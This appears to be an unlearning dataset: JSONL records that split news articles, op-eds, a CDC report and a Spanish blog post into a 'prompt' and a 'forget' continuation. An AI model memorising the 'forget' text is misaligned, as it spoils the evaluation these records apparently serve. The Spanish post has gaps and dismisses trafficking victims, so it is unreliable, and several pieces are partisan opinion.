{"prompt": "A team led by postdoctoral associate John Heron of Cornell University has developed a room-temperature magnetoelectric memory design that replaces power-hungry electric currents with an electric field. It could lead to low-power, instant-on computing devices. \u201cThe advantage here is low energy consumption,\u201d Heron said. \u201cIt requires a low voltage, without current, to switch it. Devices that use currents consume more energy and dissipate a significant amount of that energy in the form of heat. That is what\u2019s heating up your computer and draining your batteries.\u201d The researchers made their device out of bismuth ferrite, which is both magnetic and ferroelectric,", "forget": "meaning it\u2019s always electrically polarized; and that polarization can be switched by applying an electric field. This rare combination makes it a \u201cmultiferroic\u201d material, allowing for it to be used for nonvolatile memory devices with relatively simple geometries. Other scientists have demonstrated similar results with competing materials, but at impractical cold temperatures, like 4 Kelvin (-452 Fahrenheit). Their results were published online Dec. 17 in Nature, along with an associated \u201cNews and Views\u201d article. Collaborators from the University of Connecticut; University of California, Berkeley; Tsinghua University; and Swiss Federal Institute of Technology in Zurich where also involved in the research, which was supported by the National Science Foundation and the Kavli Institute at Cornell for Nanoscale Science. Abstract of Deterministic switching of ferromagnetism at room temperature using an electric field The technological appeal of multiferroics is the ability to control magnetism with electric field1, 2, 3. For devices to be useful, such control must be achieved at room temperature. The only single-phase multiferroic material exhibiting unambiguous magnetoelectric coupling at room temperature is BiFeO3 (refs 4 and 5). Its weak ferromagnetism arises from the canting of the antiferromagnetically aligned spins by the Dzyaloshinskii\u2013Moriya (DM) interaction6, 7, 8, 9. Prior theory considered the symmetry of the thermodynamic ground state and concluded that direct 180-degree switching of the DM vector by the ferroelectric polarization was forbidden10, 11. Instead, we examined the kinetics of the switching process, something not considered previously in theoretical work10, 11, 12. Here we show a deterministic reversal of the DM vector and canted moment using an electric field at room temperature. First-principles calculations reveal that the switching kinetics favours a two-step switching process. In each step the DM vector and polarization are coupled and 180-degree deterministic switching of magnetization hence becomes possible, in agreement with experimental observation. We exploit"}
{"prompt": "LOS ANGELES, Calif. - An artist is making it difficult to believe there's actually a copy of Justin Bieber's latest album for sale in Los Angeles. Paz Dylan, a 25-year-old electronic musician and artist known only as Paz, says he planted 5,000 copies of an album that appears to be Bieber's \"Believe\" but actually contains a copy of Dylan's own CD. The fakes appeared at retailers such as Best Buy, Target and Wal-Mart on Tuesday, April Fools' Day. \"We were meticulous,\" said Paz, who fancies the stunt as more of a performance art piece than a gag. \"We paid a", "forget": "lot of attention to detail because we wanted these to stay up on shelves as long as possible.\" The wrapped CDs resemble \"Believe\" right down to the bar code and silky Bieber portrait on the cover. However, Paz's artwork is on the inside of the back cover, and the disc itself is slathered with images of cats, pizzas and a dog stuffed inside a taco. The CD itself contains the 13 tracks from Paz's synth-heavy independent release \"From the Bottom of My Heart to the Top of Your Lungs.\" The only differentiating factor is that Paz's subversive CD package lacks the kind of sticker that usually covers the top of a CD case, which is found beneath the wrapper of most unopened albums. The Associated Press independently verified the stunt by purchasing random copies of what looked like Bieber's \"Believe\" from widely scattered Los Angeles-area locations such as a Wal-Mart in Baldwin Hills, Target in Burbank and Best Buy stores in West Hollywood and Culver City. In each instance, the CDs were scanned and paid for as if they were Bieber CDs. But when they were opened outside the store, each contained a copy of Paz's album, not Bieber's. \"Although Mr. Dylan is clearly not a Belieber, we know that many of our customers are, and we are taking care of those who didn't get what they intended to purchase,\" said Best Buy spokeswoman Carly Morris. Target spokesman Evan Lapiska said the company was aware of the claim and was investigating the matter, while Wal-Mart spokeswoman Sarah McKinney said customers could return the CD for a full refund or the real version. \"We know that every great artist wants to get on the shelf at Wal-Mart, but there's a right way to do it,\" said McKinney. \"All of our L.A."}
{"prompt": "Persons using assistive technology might not be able to fully access information in this file. For assistance, please send e-mail to: mmwrq@cdc.gov. Type 508 Accommodation and the title of the report in the subject line of e-mail. Abortion Surveillance --- United States, 2007 Please note: An erratum has been published for this article. To view the erratum, please click here. Karen Pazol, PhD Suzanne B. Zane, DVM Wilda Y. Parker Laura R. Hall, MPH Sonya B. Gamble, MS Saeed Hamdan, MD, PhD Cynthia Berg, MD Douglas A. Cook, MBIS Division of Reproductive Health National Center for Chronic Disease Prevention and", "forget": "Health Promotion, CDC Corresponding address: CDC, National Center for Chronic Disease Prevention and Health Promotion, Division of Reproductive Health, 1600 Clifton Rd., NE, MS K-21, Atlanta, GA 30333. E-mail: cdcinfo@cdc.gov. Abstract Problem/Condition: Since 1969, CDC has conducted abortion surveillance to document the number and characteristics of women obtaining legal induced abortions in the United States. Reporting Period Covered: 2007. Description of System: Each year, CDC requests abortion data from the central health agencies of 52 reporting areas (the 50 states, the District of Columbia, and New York City). This information is provided voluntarily. For 2007, data were received from 49 reporting areas. For the purpose of trend analysis, data were evaluated from the 45 areas that reported data every year during the preceding decade (1998--2007). Abortion rates (number of abortions per 1,000 women) and ratios (number of abortions per 1,000 live births) were calculated using census and natality data, respectively. Results: A total of 827,609 abortions were reported to CDC for 2007. Among the 45 reporting areas that provided data every year during 1998--2007, a total of 810,582 abortions (97.9% of the total) were reported for 2007; the abortion rate was 16.0 abortions per 1,000 women aged 15--44 years, and the abortion ratio was 231 abortions per 1,000 live births. Compared with 2006, the total number and rate of reported abortions decreased 2%, and the abortion ratio decreased 3%. Reported abortion numbers, rates, and ratios were 6%, 7%, and 14% lower, respectively, in 2007 than in 1998. Women aged 20--29 years accounted for 56.9% of all abortions in 2007 and for the majority of abortions during the entire period of analysis (1998--2007). In 2007, women aged 20--29 years also had the highest abortion rates (29.4 abortions per 1,000 women aged 20--24 years and 21.4 abortions per 1,000 women aged 25--29"}
{"prompt": "Obama administration efforts to train laid-off coal miners and their spouses for the \u201cjobs of the future\u201d are turning out to be somewhat of a double-edged sword. A new report by the Cleveland Federal Reserve Bank found some coal miners have successfully gotten jobs in other industries, but the report also hints that those re-employed miners are making way less than before. The Cleveland Fed reported an electrical lineman program at Hazard Community and Technical College had successfully retrained 124 laid-off miners by fall 2015. That program had a job placement rate of 90 percent, but it had a couple", "forget": "drawbacks. \u201cMany graduates travel outside the region for work during the week and return on the weekends. Demand for the electrical lineman program is high (there is a two-semester waiting list) because students exiting the program earn, on average, $20 per hour,\u201d the Cleveland Fed reported. A $20 an hour wage comes out to a $41,600 annual salary. That\u2019s a little over half the average $72,000 a year salary of Kentucky coal miners. The U.S. Labor Department has spent $14 million to the Hiring Our Miners Everyday, or HOME, program in Eastern Kentucky where thousands of coal miners have lost their jobs, in part, due to increasing federal energy regulations. It\u2019s part of President Barack Obama\u2019s plan to revitalize dying coal communities. Obama promised $35 million to help \u201ccommunities and workers successfully adapt to changes in the coal industry and power sector.\u201d Obama administration regulations have been blamed for many of the job losses across Kentucky and the rest of coal country. Kentucky has been one of the hardest hit areas by the downturn in coal mining, losing 1,500 jobs in the first three months of 2016. That\u2019s a 17 percent decline in coal employment. Kentucky lost 5,188 coal jobs during from 2008 to 2013 \u2014 a 31 percent reduction in the state\u2019s coal mine workforce. So far the HOME program has \u201cenrolled more than 3,000 laid-off coal miners and their spouses,\u201d and 1,449 of them have gotten program support while undergoing retraining. \u201cMore than 1,100 have obtained new employment, while 90 participated in internships through the HOME program,\u201d the Cleveland Fed reported. \u201cFeedback from employers who are hiring workers who have been through the HOME program has been positive, too; EKCEP staff have heard \u2018universally rave reviews about coal industry workers.\u2019\u201d Miners who have underwent jobs programs in Colorado"}
{"prompt": "A new national poll find that a majority of Americans support shifting funding away from Planned Parenthood to community health centers that don\u2019t do abortions. Robert Morris University (RMU) conducted an extensive poll to discover the pro-life climate in the nation, gender and class differences in pro-life views, attitudes on supporting Planned Parenthood funding, and amount of awareness of the existence of the undercover videos. All respondents were asked which of three positions on abortion best reflected their own personal view: \u2022 21.1 percent responded as \u201cpro-life\u201d and opposed to all abortions. \u2022 32.4 percent responded as opposed to abortions", "forget": "except for the exceptions of rape, incest and the mother\u2019s health \u2022 38.9 percent identified themselves as pro-choice. Age differences abounded: \u201c44.6% of seniors identified as pro-choice, but only 29.2% of those under 45.\u201d And these views seem to be reflected across socioeconomic lines too. The analysis reports: \u201cRich people are pro-choice; it\u2019s a clear division\u201d: Of those in a household which earns over $100,000 a year, 54/98 identify as \u201cpro-choice,\u201d or 55.1% Of those in a household which earns under $100,000 per year, 315/853 identify as \u201cpro-choice,\u201d or 36.92% Of those in households earning over $100,000 a year, 33/98 or 33.6% of respondents wanted to give Planned Parenthood funds to perform abortions Of those in households earning under $100,000 a year, only 253/853 or 29.66% of respondents wanted to give Planned Parenthood funds to perform abortions A strong contingent of Democrats want tax dollars to fund abortions specifically: \u2022 17.4% of Republicans \u2022 43.4% of Democrats \u2022 30.8% of Independents The poll authors conclude: So about half of Democrat respondents venturing an opinion want taxpayer-funded abortions This is \u201cpro-choice\u201d in the sense of \u201cabortion is a good thing\u201d and therefore should be government funded (30.5% of all respondents think this) The results of this poll are more accurate than some polls reported by the media. According to a news release: Previous polling on the issue of funding Planned Parenthood has shown majority support for government funding of Planned Parenthood. But the RMU poll, conducted before a gunman killed three people at a Planned Parenthood clinic in Colorado, has a very different result: 53.3 percent support defunding Planned Parenthood, while 31.5 percent oppose it. The poll asked respondents if they would support or oppose a plan by U.S. Congressional Republicans to shift Planned Parenthood funds to community clinics that perform"}
{"prompt": "The men are receiving copies of letters addressed to the local prosecutor\u2019s office and police departments, according to one of the letters obtained by the Kyiv Post. Kyiv\u2019s Desnyansky District Military Commissar has admitted sending out the threatening letters that warn men they could face up to five years in jail for failing to appear for service. Vitaliy, a Kyiv resident, was shocked and scared when he received the curious letter. It was stapled to a utility bill and said he was ordered to attend a local recruitment office at a given date \u2013 even though he\u2019d never been sent", "forget": "an official draft notice, and no one from the local recruitment office had ever contacted him. He would not give his full name out of fear of receiving more pressure from military officials. Vitaliy is not the only one who has been sent such letters. They have been a hot topic on social media and forums, with users already sarcastically dubbing them \u201cletters of happiness.\u201d Activists and lawyers say the documents were drawn up incorrectly and are intended to bully the recipients. Although Vitaliy wasn\u2019t the addressee of the letter, by appearances, a copy of it was sent to him merely because it concerns a legal case being made against him. In the correspondence, the military commissar asks prosecutors and police to open an investigation into Vitaliy, who \u201ccommitted a crime, as defined in Article 336 of the Criminal Code of Ukraine: being obliged to perform military service, he is evading it through inaction, and he failed to appear at the times set by the recruitment office without giving a valid excuse.\u201d The letter also says that Vitaliy must be included on the \u201csingle register of citizens who are evading military service.\u201d The document ended with the date on which Vitaliy should come to the recruitment office. Once the initial shock receded, Vitaliy consulted a lawyer. \u201cThe lawyer examined the document, and came to the unequivocal conclusion that there were, and are, no valid reasons for such accusations to be made,\u201d Vitaliy told the Kyiv Post. Ihor Godetsky, another lawyer who has been consulted by dozens of men about similar letters, agrees \u2013 under current Ukrainian legislation, not a single military commissar has the authority to send out such documents. \u201cThe document that regulates the actions of the military is the Rule on the Military Commissariat, and it doesn\u2019t contain"}
{"prompt": "The Rohingya Muslim crisis of Myanmar is fast becoming a thorn in the back of the Narendra Modi government, especially in the light of PM's recent Myanmar visit, where he refused to entertain the demands of Indian Muslims to raise the issue of alleged genocide of Rohingya Muslims being conducted by Myanmar Army and Buddhist civilians. Furious with the seeming lack of sympathy in the Union government towards the plight of the Rohingya Muslims, the Muslim community of the Braj region held angry protests against this 'genocide', terming it to be the worst crime against humanity being committed by the", "forget": "government of Myanmar, in which Indian government was playing the role of a complicit partner by deciding to deport the Rohingya Muslim refugees from India. An effigy of the prime minister of Myanmar was burned at the Madarsa Moin-ul-Islam in Agra by the students and Madarsa teachers, demanding that the Myanmar government stop the genocide of Rohingya Muslims and the Indian government pressurizes the Bangladesh government into accepting the Rohingya refugees coming from Myanmar. Talking to India Today after the Friday Namaz, Rashtriya Sarvdaleey Muslim Action Committee President Haji Jameeluddin and Secretary Mohd. Shareef Kale said that it was very disappointing that the Prime Minister Narendra Modi did not raise any concerns over the mistreatment of Rohingya Muslims with the Myanmar government during his visit to that country. Haji Jameeluddin said that the most surprising statement came from Union Minister of State for Home Kiren Rijiju, who called these refugees 'illegal immigrants', whereas there is a vast deal of difference between people crossing borders in search of better livelihood and those crossing the border to save the lives of their families. Irshad Pehelwan of Mathura warned the Myanmar government of dire consequences if the state-sponsored oppression of Rohingya Muslims did not stop there. Offering their prayers for the safety of the innocent Muslims, who were dying in the 'terrorist acts' of Myanmar military and police, the Muslims in Mathura demanded that the Indian government allow the Rohingya Muslims to seek asylum in India till their homeland was not restored to a peaceful state. Shayeed Patel of Firozabad, along with a large number of Muslims, burned an effigy of the Myanmar prime minister and gave a memorandum to the district administration, addressed to Prime Minister Modi, requesting Indian intervention in this humanitarian crisis. Muslim leader Mohd. Yaseen Qureshi said that the"}
{"prompt": "Fingerprint riddle leads to new call for Dr David Kelly inquest Found in woods: Dr David Kelly's possessions did not have any fingerprints on them Fresh information casting doubt on how weapons inspector Dr David Kelly died has been sent to the Government by campaigners trying to secure an inquest into his death. Attorney General Dominic Grieve was presented with legal papers on Monday arguing that because there were no fingerprints on five items found with Dr Kelly\u2019s body \u2013 including the knife he supposedly used to kill himself \u2013 a coroner\u2019s inquest must be held to determine how he", "forget": "died. The information, covering dozens of legal and scientific points, was submitted by a group of doctors who believe Dr Kelly\u2019s death has never been investigated properly. Mr Grieve will now consider if there is sufficient fresh evidence for a full examination of what remains one of the most notorious episodes of Tony Blair\u2019s premiership. His decision is expected shortly. Dr Kelly, a world-renowned weapons inspector, is said to have killed himself after being named as the prime source of a BBC report accusing Blair\u2019s government of lying to take Britain into the Iraq war. His body was found in woods close to his home in Oxfordshire on July 18, 2003. Uniquely, for an unexpected death such as his, no coroner\u2019s inquest has ever been held. The public inquiry into his death chaired by Lord Hutton found that he killed himself after slashing his wrist with a blunt pruning knife and overdosing on painkillers. But Mr Grieve has been told by the doctors that they have established a range of fresh evidence questioning the official finding and highlighting several irregularities. They state that it has been established, using the Freedom of Information Act, that there were no fingerprints on five items found with Dr Kelly\u2019s body: the knife, a watch, his mobile phone, an open water bottle and blister packs of pills he supposedly swallowed. In their legal papers, the doctors state: \u2018It is submitted that to properly investigate the circumstances of Dr Kelly\u2019s death, any coroner would be obliged to make inquiries as to why there were no fingerprints found, including for example seeking evidence on whether any tests were carried out to establish if anything had been used to attempt to erase fingerprint evidence. Fresh inquiry call: Body of the government scientist was found at Harrowdown Hill, Oxfordshire,"}
{"prompt": "Art museum in Nuevo Polanco, Mexico City The Museo Soumaya is a private museum in Mexico City and a non-profit cultural institution with two museum buildings in Mexico City - Plaza Carso and Plaza Loreto. It has over 66,000 works from 30 centuries of art including sculptures from Pre-Hispanic Mesoamerica, 19th- and 20th-century Mexican art and an extensive repertoire of works by European old masters and masters of modern western art such as Auguste Rodin, Salvador Dal\u00ed, Bartolom\u00e9 Esteban Murillo and Tintoretto. It is considered one of the most complete collections of its kind.[2][3] The museum is named after Soumaya", "forget": "Domit, who died in 1999, and was the wife of the founder of the museum Carlos Slim.[4] The museum received an attendance of 1,095,000 in 2013, making it the most visited art museum in Mexico and the 56th in the world that year.[1] In October 2015, the museum welcomed its five millionth visitor.[5] Collection [ edit ] The Juli\u00e1n and Linda Slim gallery, Plaza Carso building, where much of the Rodin and Dali collection is displayed The Museo Soumaya has a collection of over 66,000 pieces of art. The majority of the art consists of European works from the 15th to the 20th centuries. It also holds Mexican art, religious relics, and historical documents and coins.[6] The museum contains the world's largest collection of pre-Hispanic and colonial era coins.[4] The museum holds the largest collection of casts of sculptures by Auguste Rodin outside France, and the world's largest private collection of his art.[7] Slim owns a total of 380 casts and works of art by Rodin. His late wife, whom he credits with teaching him much of what he knows about art, was an admirer of Rodin's work.[4] In addition to Rodin, some notable European artists whose work is displayed include Salvador Dal\u00ed, Pablo Picasso, the circle of Leonardo da Vinci, Pierre-Auguste Renoir, Joan Mir\u00f3, Vincent van Gogh, Henri Matisse, Claude Monet, Bartolom\u00e9 Esteban Murillo, El Greco, Camille Claudel, and Tintoretto.[6] The most valuable work of art in the collection is believed to be a version of Madonna of the Yarnwinder by a member of the circle of Leonardo da Vinci. Another version of the same painting has been valued at over \u00a330 Million.[4] Several Mexican artists are also featured, including Diego Rivera and Rufino Tamayo.[7] The director of the museum has claimed that the total worth of the art"}
{"prompt": "Jess said she was sorry for getting her father into trouble (pic: MEN) A man who was arrested and cautioned for slapping his 13-year-old daughter across the face fears he will no longer be able to work with children. Jim McCullough, of Manchester, hit Jess after she banged a neighbour's window at midnight, and she called the police. He has now quit the football coaching and community work he has done for over 15 years, as the caution could stop him working with vulnerable children. Mr McCullough said he had never slapped Jess before. She has apologised. The father-of-four said", "forget": "he felt striking Jess was the only way to get her to understand what she had done. The single parent, from Wythenshawe, said: \"I wish I had asked for my day in court rather than accepted a police caution. \"That way I could have explained that I was trying to do what was right for my daughter. I did deserve the slapping because of the things I'd been doing Jess McCullough \"Jess isn't bad, but some of the 13-year-olds who live here do use drugs and drink and I don't want that path for her.\" Mr McCullough said he had had no trouble with his other three children Christopher, 22, Nicola, 21, and Joanna, 19. A Greater Manchester Police spokesman said: \"When an offence is admitted the offender is always liable to receive a caution. \"Had the offence not been admitted, officers would have pursued the matter with the CPS. 'Wrong message' \"An allegation of domestic violence was made and GMP officers always take these allegations very seriously.\" Mr McCullough previously had a clean criminal record and recently qualified as a security guard, but said his work prospects had been ruined. Jess, a year nine pupil at Parklands High School in Wythenshawe, said she was sorry for what had happened. She said: \"I did deserve the slapping because of the things I'd been doing. \"I was expecting my dad to come home from the police station and for everything to be the same as before.\" National Society for the Prevention of Cruelty to Children (NSPCC) policy manager Lucy Thorpe said: \"All parents can sometimes be pushed to the limit by teenagers who are looking to see how far they can go but smacking won't solve the problem. \"It simply tells your child that violence is acceptable and gives the message"}
{"prompt": "May 16, 2011 Doug Singsen and Rebecca Sun report on the energetic and angry teacher-led protests against budget cuts in New York and Los Angeles. LARGE AND lively teacher-led protests on Wall Street in New York and in downtown Los Angeles on successive days highlighted the growing anger over how budget cuts and layoffs are decimating public education. The spirit of the two protests recalled the February mass labor mobilization in Wisconsin over union-busting legislation. Though far smaller, the LA and New York demonstrations tapped into the same widespread anger at politicians for bailing out banks and the rest of", "forget": "Corporate America during the financial crisis--and making school kids and teachers, and all working people, pay the price. On Thursday, May 12, close to 20,000 people invaded the financial district of downtown New York as part of a protest organized by unions and activist groups. The demonstration incorporated the demands of public-sector workers, students, immigrants and the homeless around the central demand: \"Make big banks and millionaires pay.\" The protest also targeted the city's billionaire mayor, Michael Bloomberg, whose recently announced budget includes plans to fire 4,200 teachers, and close 20 fire stations and dozens of senior centers, among other cuts. Tens of thousands descended on Wall Street for a labor demonstration against budget cuts and layoffs (Alexander Super | SW) Antonia, a high school student in Manhattan, said, \"I organized students from my high school to attend the rally, because at our school, we're already hurting. I don't know how future students will be able to succeed when we were already barely scraping by.\" May 12 was a major step forward for the anti-budget cuts movement in New York and brought together dozens of unions and activist groups, including the United Federation of Teachers (UFT), Transport Workers Union Local 100, Communication Workers of America (CWA) 1080, Professional Staff Congress-CUNY, the health care union 1199SEIU, New York Communities for Change, Picture the Homeless, Make the Road-New York, VOCAL-NY, Community Voices Heard, Families United for Racial and Economic Equality, Citizen Action, New Yorkers Against Budget Cuts and dozens more. The protest began at 4 p.m. at eight different assembly sites dedicated to teachers, students, transit/energy, peace, immigration, jobs, social services and housing. These feeder marches were originally supposed to converge on Wall Street at 5 p.m., where protesters would break up into 100 small teach-ins, before concluding with a closing rally."}
{"prompt": "Think of it this way. Let's say the government suspects you are a terrorist and it has access to your Facebook account. If you're an American citizen, it can't do that currently (with certain exceptions)\u2014but for the sake of argument. So all of your friends, that's one hop. Your friends' friends, whether you know them or not\u2014two hops. Your friends' friends' friends, whoever they happen to be, are that third hop. That's a massive group of people that the NSA apparently considers fair game. For a sense of scale, researchers at the University of Milan found in 2011 that everyone", "forget": "on the Internet was, on average, 4.74 steps away from anyone else. The NSA explores relationships up to three of those steps. (See our conversation with the ACLU's Alex Abdo on this.) Inglis' admission didn't register among the members of Congress present, but immediately resonated with privacy advocates online. 3 hops! That's a LOT OF DATA as my FISA/surveillance people know. A LOT. \u2014 Spencer Ackerman (@attackerman) July 17, 2013 Do the math: Your whole contact list. All their contact lists. All THOSE people's contact lists. That's a LOOOT of people. #FISAOvesight \u2014 Julian Sanchez (@normative) July 17, 2013 @normative If you don't want to share your contact lists with the government, maybe you just shouldn't know people. \u2014 Jon Henke (@JonHenke) July 17, 2013 The hearing was far more critical of the government than previous hearings have been. Members of the House from both political parties had strong words for the agency representatives, often focused on how the letter of the law had been exploited. Ranking Minority Member John Conyers (MI): \"You've already violated the law in my opinion.\" Rep. Jerry Nadler (NY): \"I believe it's totally unprecedented and goes way beyond the statute.\" Rep. Ted Poe (TX): \"Do you see a national security exemption in the Fourth Amendment? \u2026 We've abused the concept of rights in the name of national security.\" The author of the Patriot Act, Jim Sensenbrenner of Wisconsin, reminded the government that the act was up for renewal in 2015. The provisions for phone metadata collection, he warned, have \"got to be changed \u2026 otherwise in a year or year and a half you're not going to have it any more.\" Inglis' admission isn't likely to help the effort to convince members of the House that the surveillance programs should be kept as is. Neither"}
{"prompt": "Jeb! waiting for people to show up to his Republican party. Photo illustration by Lisa Larson-Walker. Photo by John Lamparski/Getty Images Entertainment, D. Anschutz/Thinkstock. Mike Murphy finds it all very funny that people think Jeb Bush is in trouble. The head of Bush\u2019s $100 million super PAC, Right to Rise, considers most political punditry this cycle to be stupid. Conceded. But both the stupid and occasional non-stupid pundits all agree on one thing: Things aren\u2019t going well for Bush, and one cannot assume that the old rules governing Republican presidential nominating contests will inevitably save him. Murphy outlined his thinking", "forget": "in a rare extended interview with Bloomberg Politics. Why? Most practically, to signal Right to Rise\u2019s thinking to the official Bush campaign and leery donors. Or, in Murphy\u2019s words: \u201c[W]e thought it would be good to kind of go through our theory of the race in a more distributed way.\u201d His theory is lacking. Nowhere, between all his mockery, does he get to the heart of the matter: why people don\u2019t like Jeb Bush right now, and how Right to Rise intends to change that. \u201cWhat I find is we\u2019re in this funny casino of the pre-season now,\u201d he says, \u201cwhere the complete sum of pundit knowledge in this race, with a few rare exceptions, is based on national polling that in my view is completely meaningless.\u201d Zuh? There will always be a fair share of bad national poll coverage. If there\u2019s more of it this time, Murphy can blame the Republican National Committee and its media partners for pegging debate participation to national polling status. But it\u2019s not like Bush is only doing badly in national polls that don\u2019t matter, anyway. He\u2019s doing poorly in polls of early states, too. Bush is doing lousy in Iowa. That\u2019s fine: Bush is one thing and Iowa Republicans are a whole other thing. But he\u2019s also performing lousy in New Hampshire, a state he has spent an extraordinary amount of time in and has been advertising in. He is not leading in Florida, his natural firewall, or South Carolina, the GOP establishment\u2019s traditional firewall for their chosen representative. How important are early state polls? They can and do fluctuate along with everything else. Murphy, whether he means to or not, implies that early state polls are important, because he dramatically lowers Bush\u2019s expectations in those early states based on how poorly things"}
{"prompt": "De la forma en que Marita juntaba sus pesitos no quita ni suma nada a la historia, salvo por el detalle que los medios tambi\u00e9n lo han ocultado para que \"la verdad no arruine una buena nota\". Todos ganaron con el caso de Marita Ver\u00f3n. Ya hab\u00eda escrito algo sobre la prostituci\u00f3n y la trata aqu\u00ed: Querido Eugenio Hacia el a\u00f1o 1997se quer\u00eda poner linda para el jubileo del a\u00f1o 2000. Hab\u00eda plata y las tasas de inter\u00e9s estaban por el suelo.Se pusieron a invertir de tal manera que generaron un boom inmobiliario que hizo que el rancho se les", "forget": "llenara de alba\u00f1iles turcos (que despu\u00e9s se fueron a), africanos y de los pa\u00edses delHubo tal migraci\u00f3n que surgi\u00f3 un problema: las putas europeas eran caras para los salarios de los obreros. Por cuanto ante ese desbalance comenzaron a migrar trolas de losque si bien hab\u00edan dejado la guerra atr\u00e1s la crisis los com\u00eda vivos.Las primeras prostitutas independientes que entraron fueron rumanas y b\u00falgaras, las primeras v\u00edctimas de las mafias de trata de personas fueron las albanesas cuyo pa\u00eds aun estaba asediado por la guerra de exterminio.As\u00ed comenz\u00f3 la \u00faltima ola de trata de personas en Europa, que reci\u00e9n se pudo contener hacia 2005 cuando eldio por finalizada la existencia de mafias relacionadas al secuestro para alimentar el mercado de la prostituci\u00f3n.Una simple y bestial situaci\u00f3n de oferta y demanda. Hay que considerar adem\u00e1s que la demanda era de baja calidad. Por eso un campesino turco que se pasaba el d\u00eda fratachando una catedral por 60 euros y dorm\u00eda en un contenedor pod\u00eda violarse a una pobre mujer drogada y a veces atada sin muchas vueltas al asunto.A la par del problema surgieron -cu\u00e1ndo no- estudiosos del fen\u00f3meno que fueron financiados para tranquilizar las culposas almas europeas. Esos estudios sobre trata de personas ten\u00edan su base europea en. Cuando se les acab\u00f3 el curro de la trata de personas, psic\u00f3logos, soci\u00f3logos, polit\u00f3logos y cualquier otra especialidad de esas que no generan nada productivo, descubrieron la \"violencia de g\u00e9nero\", otro regalito que tambi\u00e9n exportamos oportunamente.La creencia de que enexisten redes al estilo de organizaciones mafiosas, con jerarqu\u00edas y estructuras mafiosas relacionadas con la trata de personasCuando en realidad. Por cuanto, cu\u00e1l ser\u00eda el valor pr\u00e1ctico de secuestrar mujeres para obligarlas a prostituirse, con el riesgo legal (bajo, es cierto) que eso conlleva y con, supongo, el disgusto de quienes consumen prostitutas,"}
{"prompt": "In our post-factual world, history has become another battlefield, with far-flung hostilities over cultural and political differences as well as the imperial adventures abroad. But, as Daniel Patrick Moynihan once remarked, we are entitled to opinions, not to our own facts. Glenn Beck peddles a notion of the \u201cProgressive Era\u201d \u2014 a time when Republicans and Democrats and Presidents Theodore Roosevelt and Woodrow Wilson proudly called themselves \u201cprogressives\u201d \u2014 as the period when all the evils of modern America became manifest. Original, yes. Factual, no. Then we have Dick Armey, once a leader in proclaiming a \u201cContract With America\u201d and", "forget": "currently head of Freedom Works, one of the more vocal incarnations of the tea party that provides a ready microphone for well-heeled right-wing backers and their views. Armey now has given us a classic perversion of history. At a gathering to vent against President Barack Obama\u2019s tax and health policies and alleged socialism, someone in the audience questioned how the movement could use the Federalist Papers, largely written by Alexander Hamilton, as any basis for its beliefs. After all, Hamilton, the questioner contended, was \u201cwidely regarded\u201d as a strong nationalist, who advocated life terms for the president and senators, a strong national bank, protective tariffs, the assumption of state debts (to ensure their payment and thereby establish a creditable international standing), state governors appointed by the president, and the diminution of state authority to little more than an administrative role. That is History 101, of course, but a good question for those who insist on Hamilton as a patron saint of American \u201cconservatism.\u201d Armey was incredulous, even contemptuous, and simply dismissed the questioner, as well as history. \u201cWidely regarded by whom?\u201d he asked suspiciously, and then answered his own question. \u201cToday\u2019s modern ill-informed political science professors \u2026 ? I just doubt that was the case, in fact, about Hamilton.\u201d In the great tradition of Henry Ford, Armey simply would dismiss history as \u201cbunk.\u201d Hamilton certainly is the patron saint of the American state. As George Washington\u2019s secretary of the treasury, he fashioned public policy based on the necessity for strong authority at the center, saying things like \u201cA national debt is a national blessing,\u201d \u201cEvery Power Vested in Government is in its nature Sovereign,\u201d and \u201cA Well-Organized Republic can scarcely lose its Liberty from any other Source than that of Anarchy.\u201d Hamilton knew that the nation\u2019s earlier failed experience under"}
{"prompt": "The Democratic Party is suffering a nervous breakdown. An entitled cast of urban liberals is taking to the streets protesting the free and fair defeat of a candidate for whom they couldn\u2019t be bothered to volunteer. Twentysomething Democratic staffers are reportedly offering their resignations in the form of screaming meltdowns, blaming acting Democratic National Committee Chairwoman Donna Brazile for their inevitable death due to catastrophic climate change. Outgoing Senate Minority Leader Harry Reid has implied that, having won the presidency as a result of a campaign of hate aided by the less-than-covert works of Russian intelligence, Donald Trump lacks legitimacy.", "forget": "This liberal pain is real, but also projection. The party has been decimated at every level, and is now entering a rebuilding period. How it rebuilds is the question. The first choice the party will have to make is who is going to right the ship at the DNC, and the choices before the party perfectly reflect their conundrum in the post-Obama era. The two most viable candidates who appear interested in leading the DNC through this grim valley are indicative of the Democratic Party\u2019s addiction to radicalism. Howard Dean\u2014a former DNC chair, presidential candidate, and Vermont governor\u2014has thrown his hat in the ring. On first glance, an intemperate absolutist who earnestly accused the teetotaler president-elect of nursing a cocaine habit would seem to be a perfect fit for America\u2019s post-rational moment. There is, however, a candidate even better suited to channel the unrestrained Democratic id in our self-indulgent age: Minnesota Rep. Keith Ellison. Under Barack Obama, the Democratic Party has been reduced to a modest faction representing the interests of urban, progressive America. Who else is a better fit to epitomize the party than an urban progressive? Ellison represents the most liberal district in a liberal state, just outside central St. Paul. He is an African-American Muslim convert, thereby appealing to the party\u2019s self-conception as a champion of the rights of ethnic minorities, which they perceive to be particularly vulnerable in the coming Trump era. Because he is a solid fit for the DNC on paper, Ellison has won the support of the most important voices in his party. According to reports, Ellison has the outright backing of incoming Senate Minority Leader Charles Schumer and Senator Bernie Sanders. He has been praised by Senator Elizabeth Warren, who has emerged as a power broker in the new Progressive Era. In"}
{"prompt": "The police may use deadly force to shoot and kill a motorist who leads them on a reckless, high-speed chase, even if the suspect's car is temporarily cornered, the Supreme Court ruled Tuesday. In a unanimous decision, the justices threw out an \"excessive force\" claim brought against Arkansas police officers who chased a speeding car across the bridge into Memphis and shot the driver when he refused to give up. In the past, the court had said police may use force to stop a fleeing motorist because he represents a danger to the public. But the law has been unclear", "forget": "on whether \"deadly force\" can be used against the occupants of a stopped car. In the case decided Tuesday, Justice Samuel A. Alito Jr. said the officers were justified in shooting the motorist because he continued to maneuver his car after he had been temporarily stopped by a squad car. As the motorist, Donald Rickard, tried to drive away, police fired 15 shots in all, killing him and a passenger. Alito also said officers deserve the benefit of the doubt when they are engaged in a high-speed pursuit. \"We analyze this question from the perspective of a reasonable officer on the scene, rather than with the 20/20 vision of hindsight,\" he wrote in Plumhoff v. Rickard. The case began on a summer night in 2004 when officers in West Memphis, Ark., pulled over a white Honda because the car had only one headlight. When an officer sought to question the driver, he sped away. The chase reached 100 miles per hour when Rickard crossed the bridge into Memphis. Sgt. Vance Plumhoff led the pursuit and collided with the fleeing vehicle, sending it spinning into a parking lot. Though Rickard's car was cornered, he put it into reverse and spun the 